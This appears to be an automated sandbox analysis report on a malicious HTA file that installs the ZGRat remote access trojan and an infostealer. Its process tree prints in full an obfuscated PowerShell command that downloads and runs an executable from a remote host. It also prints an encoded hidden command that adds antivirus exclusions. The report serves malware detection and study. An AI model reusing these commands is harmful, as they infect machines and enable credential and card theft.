Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-01-2024 20:19

General

  • Target

    magic.poisontoolz.com/binded.hta

  • Size

    10KB

  • MD5

    5bd249833a7dd24a0bcc183bff7f84f4

  • SHA1

    79eefa12df99d15efcb006bc75c3ca8fd1eeef70

  • SHA256

    938763b3b3fd082f84a6ec2f7ed3d02a8b665a3e0d0a75e814652e290e56590e

  • SHA512

    c7048a4933e257a706cfbb85c7f726eee8851015bf60fa427264fd3c16dcd7437e74c75b179b3160389bdf2ae4ee1e6b585840d99e13ee17e3a010e2e9c82574

  • SSDEEP

    192:n5x7G7b+B+lz+RXN36UOq6ghokeKkTkF8Yjp/f+Ex:nj7G7b+ow40qwmm86x

Malware Config

Signatures

  • Detect ZGRat V1 30 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\magic.poisontoolz.com\binded.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2560
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function ckCYMarg($ZMHRISzDhdwdY, $aumfRHUmZgmLSBs){[IO.File]::WriteAllBytes($ZMHRISzDhdwdY, $aumfRHUmZgmLSBs)};function WypStgKENDEIcA($ZMHRISzDhdwdY){if($ZMHRISzDhdwdY.EndsWith((FPFknBqQsu @(58099,58153,58161,58161))) -eq $True){rundll32.exe $ZMHRISzDhdwdY }elseif($ZMHRISzDhdwdY.EndsWith((FPFknBqQsu @(58099,58165,58168,58102))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $ZMHRISzDhdwdY}elseif($ZMHRISzDhdwdY.EndsWith((FPFknBqQsu @(58099,58162,58168,58158))) -eq $True){misexec /qn /i $ZMHRISzDhdwdY}else{Start-Process $ZMHRISzDhdwdY}};function TXuAgVFpQG($hindkrPqZcNyrlU){$RgafzCFGvzVmJX = New-Object (FPFknBqQsu @(58131,58154,58169,58099,58140,58154,58151,58120,58161,58158,58154,58163,58169));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$aumfRHUmZgmLSBs = $RgafzCFGvzVmJX.DownloadData($hindkrPqZcNyrlU);return $aumfRHUmZgmLSBs};function FPFknBqQsu($rxPrWTWbbzv){$lzrQhUf=58053;$IgPoeJQDbcreOFG=$Null;foreach($SheyHVSxpFbk in $rxPrWTWbbzv){$IgPoeJQDbcreOFG+=[char]($SheyHVSxpFbk-$lzrQhUf)};return $IgPoeJQDbcreOFG};function OCOpOfqedID(){$SFaTrukxkqfhJljN = $env:AppData + '\';$AHqkDmXF = $SFaTrukxkqfhJljN + 'Binded.exe'; if (Test-Path -Path $AHqkDmXF){WypStgKENDEIcA $AHqkDmXF;}Else{ $jiPMwkwJERZcU = TXuAgVFpQG (FPFknBqQsu @(58157,58169,58169,58165,58168,58111,58100,58100,58162,58150,58156,58158,58152,58099,58165,58164,58158,58168,58164,58163,58169,58164,58164,58161,58175,58099,58152,58164,58162,58100,58119,58158,58163,58153,58154,58153,58099,58154,58173,58154));ckCYMarg $AHqkDmXF $jiPMwkwJERZcU;WypStgKENDEIcA $AHqkDmXF;};;;;}OCOpOfqedID;
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3844
      • C:\Users\Admin\AppData\Roaming\Binded.exe
        "C:\Users\Admin\AppData\Roaming\Binded.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Users\Admin\AppData\Local\Temp\rock.exe
          "C:\Users\Admin\AppData\Local\Temp\rock.exe"
          4⤵
          • Drops startup file
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:456
        • C:\Users\Admin\AppData\Local\Temp\blbrok.exe
          "C:\Users\Admin\AppData\Local\Temp\blbrok.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:3972
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAHkAcABlAEkAZAAuAGUAeABlADsA
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4704
  • C:\Users\Admin\AppData\Local\Hash\xeiba\TypeId.exe
    C:\Users\Admin\AppData\Local\Hash\xeiba\TypeId.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3756
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      2⤵
        PID:4592
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5004
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABUAHkAcABlAEkAZAAuAGUAeABlADsA
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4760
    • C:\Users\Admin\AppData\Local\Temp\wqjqot.exe
      C:\Users\Admin\AppData\Local\Temp\wqjqot.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3200
      • C:\Users\Admin\AppData\Local\Temp\wqjqot.exe
        C:\Users\Admin\AppData\Local\Temp\wqjqot.exe
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1924

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Hash\xeiba\TypeId.exe

      Filesize

      1KB

      MD5

      00e55127fe6b8edb0071c2a557fab93c

      SHA1

      0f9017dcbf0939a341bf4a5f4040fa02dc4affb4

      SHA256

      c6631aee4cc4e511bd16289e1abf3cef7668d63d5e0467acf7e22dafcf18caa2

      SHA512

      81e53ae890f520e247ba477bc173e669cef49d9c73ccd2d16695120aee8face53d4f4b3adb79950a7b3bfcd59ebfe1830db33e47e00322ee7d3f800fcab7666b

    • C:\Users\Admin\AppData\Local\Hash\xeiba\TypeId.exe

      Filesize

      286KB

      MD5

      0e103855aba5d5d4e78d92694c113cec

      SHA1

      f77845a6b5793f276c904de52b03634bfbeea6ae

      SHA256

      5713320a6d17f3c597e2dda9ace84f51faa3570323f1ba02a30baa62f07013c0

      SHA512

      9521451b24d5654dd2f11257530bfc116645b7e123a5f55f20f7123707a5e05603f919989a9ddd2f73abe91d22fed434080b509bab15cebdb495006bee476eef

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      d85ba6ff808d9e5444a4b369f5bc2730

      SHA1

      31aa9d96590fff6981b315e0b391b575e4c0804a

      SHA256

      84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

      SHA512

      8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\wqjqot.exe.log

      Filesize

      1KB

      MD5

      c3941d9fa38f1717d5cecd7a2ca71667

      SHA1

      33b5362675383b58b4166ed9f9a61e5aa6768d2e

      SHA256

      f1ed6ff1cd3df219061e32df1c75d6f48de6484cf50e5ea7d86cd8bcfcb93256

      SHA512

      98f103ef97d32bf8c0566a6f6da5cf8d58d18f698c1b3e5bd0be0ea8462f5fe54c2e5e6b5188f2b7d8f70082ffd6745b1f7f6cab95af474e2b7eaed50a9d9c45

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      18KB

      MD5

      f0703cbb7d230784f16f051935e13267

      SHA1

      ea7120074ca0bd261431e4de812eb853748bf3fb

      SHA256

      d1eb588b0f67f2f65a69dd3152f9351db6746be59c83d55f104bf31b8f8abf42

      SHA512

      6002a89265a2b33c1c1e51859e2df65a6d207a235c4e17c039362b7d95cafc217a151d5386be42caafe71b24150687001db464f28cdbeaab28dec2468865ce6c

    • C:\Users\Admin\AppData\Local\Temp\Data\Cookies.txt

      Filesize

      115B

      MD5

      824ce7c07117a630e9b31638f89476aa

      SHA1

      2d012f1cd8b636de1662f69d213b3cf9fa5df846

      SHA256

      4d1a2351c6146b7f0cc87825160516933201af5e737028b360d4ee8d0ca7fdfd

      SHA512

      0c0d50920055b3a2343154acbe8e6d1a3490ce7ae403a21a9b385309805338ba05163500439ab85d30d1d2bb5c742009bb2b0c25d74533ba24780d31efe5c945

    • C:\Users\Admin\AppData\Local\Temp\Data\CreditCards.txt

      Filesize

      238B

      MD5

      0f5f7a38759e578c92bcf62c45d80b8a

      SHA1

      211e70ede55cce5bf67f685d85cbd030a8517d2b

      SHA256

      39059fc9bf3844dacbe329b623ca7a06f72656216dd4e52dc9b938b3d95289dc

      SHA512

      8130466f8ee346c0b931a34e63e2e9dc6f4070b85faaa58efdddd4d165fa605457d3137472c5fd09da87b0135a4beb660ee39cb390d78be6f0786950036b205d

    • C:\Users\Admin\AppData\Local\Temp\Data\Downloads.txt

      Filesize

      234B

      MD5

      ae0f7fab163139c661e576fe0af08651

      SHA1

      7545ab94360fd93f2209021b4cecabb92592be27

      SHA256

      832ff6318e2c78ac1907c74f3911f8815b545c16449cbce6753e21fb723cb657

      SHA512

      a3e342a3c72c079db96a8d6bb108830c3a772b926be0cf4e5d09ebb09e1babbc7602959bf1f82c8df8764f45479f318c3205114f23c96fd663efa792cff86b8b

    • C:\Users\Admin\AppData\Local\Temp\Data\Histories.txt

      Filesize

      234B

      MD5

      412ec159e4b14be1ca93db473e80acc2

      SHA1

      8909b6f7fc8715a749270b6ceb8f05f823f59fd3

      SHA256

      eaff9c24df526e9c884832130bf6de9182fd96f3dcdba33e8e5e7a4ed37f1bbe

      SHA512

      a90524333fd34d44f5784a90ada19904ea7379de26cae08ffdfd2ee25b3fd5b36c2cbcf7a7e6fc4ff734680ca1ff177ed42df1d4f5583d6a1a89d622c183f0b4

    • C:\Users\Admin\AppData\Local\Temp\Data\Passwords.txt

      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wwysozym.tol.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\blbrok.exe

      Filesize

      389KB

      MD5

      f189e88b77130e0dbef360901a49b75f

      SHA1

      4889b7a7907d01653e9030e282d00ad637249061

      SHA256

      326ad5539723ddc92995ae4f22ad0d99f8202c7d759d7c65e8204f2303fedd94

      SHA512

      db3138ed6f472f52e7e52fce37b4808b27eaa83d5f4d3fbc1bdc8149d2ded7c9a1e3e6bf9bb00fe60a654884d54da0cadfb6fe18cabb972316fb31bd35930f8a

    • C:\Users\Admin\AppData\Local\Temp\blbrok.exe

      Filesize

      366KB

      MD5

      f9b52117a18922a656813c19c900e1a0

      SHA1

      5799c4228d6567a1335e338f15c4912eeef0a2a2

      SHA256

      7b60894783f90113c994ca42f60ec47db34e7e99aa01de2e2f7e03b840db304a

      SHA512

      e7377913c9215fdd2b1be050f225defcd3182b4b9a5a0d4ff2ddb1e6ecc84ee20dfea58fca514819a0206deec8f3ea1ef64c2598b68869f0218ab9cae0c4f921

    • C:\Users\Admin\AppData\Local\Temp\blbrok.exe

      Filesize

      128KB

      MD5

      2af26422ada303194e29a808560b21bf

      SHA1

      eefb4a2823d85c20862754950027bf316e898310

      SHA256

      46c6fa4a583cf1a287fc09f9bf57bc8e91d817559de7f5c9ce5194a1d32bcc9e

      SHA512

      1bbdf1d604ba208f000906722045dd0e3c5aa1655c22e0979d9d4eba41e4bb1c21fcbcef1aeba49f8f9109764d71b2dde2813672fddda2c85784d3bcfdbf435d

    • C:\Users\Admin\AppData\Local\Temp\rock.exe

      Filesize

      57KB

      MD5

      03bfe4f50a77d2467b47614d34c42fb6

      SHA1

      4e3ab73980dc220bdc9c207788f199b572d488b5

      SHA256

      2072b19de24e8246be2422ba3122cfef2e11e4bcc3ef46bfce22b886f6e168f3

      SHA512

      338fb3ddd309b81bad5af5dbc7f2c60080124736a10d5dee76dba36c2730f20842f69a7e347b82a3285e7b4b937c1688a5064061f5cc02fcb03c2180112a524e

    • C:\Users\Admin\AppData\Local\Temp\rock.exe

      Filesize

      317KB

      MD5

      55c1e65b9e7ac557b4c076d1b06e975a

      SHA1

      66bff0bd3d9a0acd309d2cc345ef20cf0983ce24

      SHA256

      0c5834d8e470877274399911bf41aca8dfe1b78c56b2eef989ae6dda2eb99ddb

      SHA512

      1842ef859e86f99b8fc7cf41b7f79d39ef33d9dccb630c1a6b9ddf1723d35905b73a8ae2971554bdd9ccf3a8517f32c08209e45bca842ca519312276c274c7ba

    • C:\Users\Admin\AppData\Local\Temp\wqjqot.exe

      Filesize

      60KB

      MD5

      1a9ac8aa754a986cccb6580f1494b813

      SHA1

      3f99084894df1307c1cc22228d22e075d461344e

      SHA256

      c4c16b46ca26315f46e2fc97dd93646064c9c06098c0aecc1cf3851b4eb4d1b2

      SHA512

      4fdc5869fa38faf95200a70eb069b1ed6987c3085fbad4940b877eebc4b6a723c492ead79938d00843e86f4fc9c40a64c7d4ccd3ea64b7128b763c9300319b8f

    • C:\Users\Admin\AppData\Local\Temp\wqjqot.exe

      Filesize

      86KB

      MD5

      f3ed43acd7d035e8c6035c7d65ec60bf

      SHA1

      679c01b051cbd42b740a05f0cd2807b16bae5aec

      SHA256

      136f29247b40b1cd3e65d093fd0529d6115ade980092b6a950d461b5c046daef

      SHA512

      fc5b4dd5abc2e8e141b25ed4bd77509a0af1ce24b695e44b563ad93192f74c0dd147e4eb0e9da7052459b4dec975d6c99d842f77dc4e002a3631dc27a9ff4db5

    • C:\Users\Admin\AppData\Roaming\Binded.exe

      Filesize

      137KB

      MD5

      09379b3c4a2c8d7e740d9418deea490a

      SHA1

      305cdfded9fb5a12904fb2712d2f2a989f6814a2

      SHA256

      7833cadca8b516636500eaac8479e6644c06af9dbbd5cd613a2276ba34ac03a1

      SHA512

      116d6d6127b0d32a10ec5ea09d37c627c188727ea3e1df609c8a31e3c332fc56b877d7492ce001c58821c25ccb3d9dd62fbf8cd67e28fb1b27810fbbb29a63ab

    • C:\Users\Admin\AppData\Roaming\Binded.exe

      Filesize

      1KB

      MD5

      8bf787cd1198e3127190462262c66af7

      SHA1

      c3bd6e1278ef871d0804512f3dc27ab8673027f9

      SHA256

      efeb073272216decf23b6885215f4cb16a68c631c0054ba411fc32757f1df130

      SHA512

      7f0cf90bd61456f331f078eaf20e91940ab2146aa5905b64ee06dc91bcb07a7da74c864996421942b4f0dd51055f805cc9add964a2136a1b8f2fec6dee982266

    • C:\Users\Admin\AppData\Roaming\Binded.exe

      Filesize

      149KB

      MD5

      e447ce4e0dd50659d1ed5328ae95c742

      SHA1

      279e5fe69fdd32158117c272c0ac206b4a393896

      SHA256

      3b6bf86b11ea507fbb214c9ed26210d25f48656b03a7d56134ce63e49c388e41

      SHA512

      7064301eac7ab2e2d2a9cd2d12c0ab236585de5f2d7476b51e00180f7f7de65736a4abfbfbec568768963deea1753b3011a09d50e5a24e3c00a36f840241b86d

    • memory/456-104-0x000001C442E70000-0x000001C442E80000-memory.dmp

      Filesize

      64KB

    • memory/456-288-0x000001C442E80000-0x000001C442ED0000-memory.dmp

      Filesize

      320KB

    • memory/456-809-0x00007FFEA6180000-0x00007FFEA6C41000-memory.dmp

      Filesize

      10.8MB

    • memory/456-76-0x00007FFEA6180000-0x00007FFEA6C41000-memory.dmp

      Filesize

      10.8MB

    • memory/456-78-0x000001C4285A0000-0x000001C428718000-memory.dmp

      Filesize

      1.5MB

    • memory/1924-7775-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/1924-7735-0x0000000008A70000-0x0000000008AC0000-memory.dmp

      Filesize

      320KB

    • memory/1924-7732-0x0000000005380000-0x0000000005412000-memory.dmp

      Filesize

      584KB

    • memory/1924-7733-0x00000000054E0000-0x00000000054F0000-memory.dmp

      Filesize

      64KB

    • memory/1924-7729-0x0000000000400000-0x0000000000578000-memory.dmp

      Filesize

      1.5MB

    • memory/1924-7730-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/1924-7734-0x0000000006110000-0x000000000611A000-memory.dmp

      Filesize

      40KB

    • memory/2908-39-0x0000000000D80000-0x00000000012F2000-memory.dmp

      Filesize

      5.4MB

    • memory/2908-41-0x000000001BFE0000-0x000000001BFF0000-memory.dmp

      Filesize

      64KB

    • memory/2908-77-0x00007FFEA6180000-0x00007FFEA6C41000-memory.dmp

      Filesize

      10.8MB

    • memory/2908-40-0x00007FFEA6180000-0x00007FFEA6C41000-memory.dmp

      Filesize

      10.8MB

    • memory/3200-7731-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3200-7724-0x00000000064C0000-0x000000000658E000-memory.dmp

      Filesize

      824KB

    • memory/3200-7723-0x00000000063F0000-0x00000000063F1000-memory.dmp

      Filesize

      4KB

    • memory/3200-6788-0x00000000062B0000-0x00000000063E6000-memory.dmp

      Filesize

      1.2MB

    • memory/3200-6785-0x0000000000F30000-0x0000000000F4C000-memory.dmp

      Filesize

      112KB

    • memory/3200-6787-0x00000000058A0000-0x00000000058B0000-memory.dmp

      Filesize

      64KB

    • memory/3200-6786-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3756-4589-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3756-2351-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3756-2352-0x00000000051F0000-0x0000000005200000-memory.dmp

      Filesize

      64KB

    • memory/3844-22-0x0000000006230000-0x0000000006252000-memory.dmp

      Filesize

      136KB

    • memory/3844-17-0x00000000057E0000-0x0000000005B34000-memory.dmp

      Filesize

      3.3MB

    • memory/3844-24-0x0000000007EE0000-0x000000000855A000-memory.dmp

      Filesize

      6.5MB

    • memory/3844-38-0x0000000071ED0000-0x0000000072680000-memory.dmp

      Filesize

      7.7MB

    • memory/3844-21-0x00000000061C0000-0x00000000061DA000-memory.dmp

      Filesize

      104KB

    • memory/3844-23-0x00000000072B0000-0x0000000007854000-memory.dmp

      Filesize

      5.6MB

    • memory/3844-3-0x00000000048C0000-0x00000000048D0000-memory.dmp

      Filesize

      64KB

    • memory/3844-18-0x0000000005C80000-0x0000000005C9E000-memory.dmp

      Filesize

      120KB

    • memory/3844-19-0x0000000005D40000-0x0000000005D8C000-memory.dmp

      Filesize

      304KB

    • memory/3844-20-0x0000000006C60000-0x0000000006CF6000-memory.dmp

      Filesize

      600KB

    • memory/3844-0-0x0000000004700000-0x0000000004736000-memory.dmp

      Filesize

      216KB

    • memory/3844-1-0x0000000071ED0000-0x0000000072680000-memory.dmp

      Filesize

      7.7MB

    • memory/3844-6-0x00000000055D0000-0x0000000005636000-memory.dmp

      Filesize

      408KB

    • memory/3844-16-0x0000000005770000-0x00000000057D6000-memory.dmp

      Filesize

      408KB

    • memory/3844-5-0x0000000004CE0000-0x0000000004D02000-memory.dmp

      Filesize

      136KB

    • memory/3844-2-0x00000000048C0000-0x00000000048D0000-memory.dmp

      Filesize

      64KB

    • memory/3844-4-0x0000000004F00000-0x0000000005528000-memory.dmp

      Filesize

      6.2MB

    • memory/3972-95-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-119-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-83-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-117-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-75-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-73-0x0000000004BE0000-0x0000000004CC8000-memory.dmp

      Filesize

      928KB

    • memory/3972-139-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-67-0x0000000000350000-0x00000000003EC000-memory.dmp

      Filesize

      624KB

    • memory/3972-69-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3972-123-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-125-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-79-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-2327-0x0000000004E00000-0x0000000004E4C000-memory.dmp

      Filesize

      304KB

    • memory/3972-2326-0x0000000004D20000-0x0000000004D76000-memory.dmp

      Filesize

      344KB

    • memory/3972-2328-0x0000000005100000-0x0000000005154000-memory.dmp

      Filesize

      336KB

    • memory/3972-2331-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/3972-129-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-101-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-103-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-108-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-137-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-106-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-133-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-135-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-113-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-99-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-127-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-72-0x0000000004CE0000-0x0000000004CF0000-memory.dmp

      Filesize

      64KB

    • memory/3972-141-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-115-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-111-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-143-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-97-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-131-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-121-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-85-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-89-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-91-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-93-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-81-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/3972-87-0x0000000004BE0000-0x0000000004CC2000-memory.dmp

      Filesize

      904KB

    • memory/4704-2338-0x00007FFEA6000000-0x00007FFEA6AC1000-memory.dmp

      Filesize

      10.8MB

    • memory/4704-2337-0x000001E97EAB0000-0x000001E97EAD2000-memory.dmp

      Filesize

      136KB

    • memory/4704-2348-0x00007FFEA6000000-0x00007FFEA6AC1000-memory.dmp

      Filesize

      10.8MB

    • memory/4704-2339-0x000001E97C9C0000-0x000001E97C9D0000-memory.dmp

      Filesize

      64KB

    • memory/4704-2340-0x000001E97C9C0000-0x000001E97C9D0000-memory.dmp

      Filesize

      64KB

    • memory/4760-6780-0x00007FFEA6120000-0x00007FFEA6BE1000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-6262-0x00007FFEA6120000-0x00007FFEA6BE1000-memory.dmp

      Filesize

      10.8MB

    • memory/4760-6264-0x0000021273120000-0x0000021273130000-memory.dmp

      Filesize

      64KB

    • memory/5004-4559-0x0000000004F80000-0x0000000004F90000-memory.dmp

      Filesize

      64KB

    • memory/5004-7290-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB

    • memory/5004-7281-0x0000000004F80000-0x0000000004F90000-memory.dmp

      Filesize

      64KB

    • memory/5004-4560-0x0000000074E00000-0x00000000755B0000-memory.dmp

      Filesize

      7.7MB